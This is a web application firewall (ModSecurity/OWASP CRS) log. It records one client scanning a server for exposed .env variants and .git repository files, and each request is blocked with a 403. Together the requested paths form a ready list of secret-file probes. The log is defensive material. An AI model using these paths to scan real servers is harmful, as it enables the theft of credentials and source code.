[Mon Oct 26 23:35:46.654727 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "auAcEjtlUsnco091MEfl-wAAAAc"]
[Mon Oct 26 23:35:46.656531 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "auAcEnqFfbazysLpfsTwSwAAAA8"]
[Mon Oct 26 23:35:46.656656 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "auAcEnqFfbazysLpfsTwSwAAAA8"]
[Mon Oct 26 23:35:46.656874 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "auAcEnqFfbazysLpfsTwSwAAAA8"]
[Mon Oct 26 23:35:46.657546 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "auAcEjvJu9RIoV0HiuBZ5QAAAAA"]
[Mon Oct 26 23:35:46.657670 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "auAcEjvJu9RIoV0HiuBZ5QAAAAA"]
[Mon Oct 26 23:35:46.657910 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "auAcEjvJu9RIoV0HiuBZ5QAAAAA"]
[Mon Oct 26 23:35:46.709875 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "auAcEuJUkwm96ZYHDUs2DQAAABE"]
[Mon Oct 26 23:35:46.709875 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "auAcEvaBHXiICPr245B4LwAAAAM"]
[Mon Oct 26 23:35:46.710081 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "auAcEuJUkwm96ZYHDUs2DQAAABE"]
[Mon Oct 26 23:35:46.710082 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "auAcEvaBHXiICPr245B4LwAAAAM"]
[Mon Oct 26 23:35:46.710319 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "auAcEuJUkwm96ZYHDUs2DQAAABE"]
[Mon Oct 26 23:35:46.710321 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "auAcEvaBHXiICPr245B4LwAAAAM"]
[Mon Oct 26 23:35:46.711614 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "auAcEmD99EvW2fD6Vi-vzAAAABM"]
[Mon Oct 26 23:35:46.711847 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "auAcEmD99EvW2fD6Vi-vzAAAABM"]
[Mon Oct 26 23:35:46.712131 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "auAcEmD99EvW2fD6Vi-vzAAAABM"]
[Mon Oct 26 23:35:46.728026 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "auAcEm_jKEuts3LY6kCVkQAAAAE"]
[Mon Oct 26 23:35:46.728259 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "auAcEm_jKEuts3LY6kCVkQAAAAE"]
[Mon Oct 26 23:35:46.728537 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "auAcEm_jKEuts3LY6kCVkQAAAAE"]
[Mon Oct 26 23:35:46.730353 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAcEjtlUsnco091MEfl_AAAAAc"]
[Mon Oct 26 23:35:46.730481 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAcEjtlUsnco091MEfl_AAAAAc"]
[Mon Oct 26 23:35:46.730718 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAcEjtlUsnco091MEfl_AAAAAc"]
[Mon Oct 26 23:35:46.732692 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "auAcEnqFfbazysLpfsTwTAAAAA8"]
[Mon Oct 26 23:35:46.732861 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "auAcEnqFfbazysLpfsTwTAAAAA8"]
[Mon Oct 26 23:35:46.733098 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "auAcEnqFfbazysLpfsTwTAAAAA8"]
[Mon Oct 26 23:35:46.733393 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/logs/HEAD"] [unique_id "auAcEjvJu9RIoV0HiuBZ5gAAAAA"]
[Mon Oct 26 23:35:46.733530 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/logs/HEAD"] [unique_id "auAcEjvJu9RIoV0HiuBZ5gAAAAA"]
[Mon Oct 26 23:35:46.733736 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/logs/HEAD"] [unique_id "auAcEjvJu9RIoV0HiuBZ5gAAAAA"]
[Mon Oct 26 23:35:46.785941 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAcEvaBHXiICPr245B4MAAAAAM"]
[Mon Oct 26 23:35:46.786087 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAcEvaBHXiICPr245B4MAAAAAM"]
[Mon Oct 26 23:35:46.786359 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAcEvaBHXiICPr245B4MAAAAAM"]
[Mon Oct 26 23:35:46.861868 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/admin/.env"] [unique_id "auAcEuJUkwm96ZYHDUs2DwAAABE"]
[Mon Oct 26 23:35:46.862026 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/admin/.env"] [unique_id "auAcEuJUkwm96ZYHDUs2DwAAABE"]
[Mon Oct 26 23:35:46.862252 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/admin/.env"] [unique_id "auAcEuJUkwm96ZYHDUs2DwAAABE"]
[Mon Oct 26 23:35:46.863670 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vzgAAABM"]
[Mon Oct 26 23:35:46.863815 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vzgAAABM"]
[Mon Oct 26 23:35:46.864058 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vzgAAABM"]
[Mon Oct 26 23:35:46.894427 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/application/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6AAAAAA"]
[Mon Oct 26 23:35:46.894595 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/application/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6AAAAAA"]
[Mon Oct 26 23:35:46.894736 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "auAcEnqFfbazysLpfsTwTgAAAA8"]
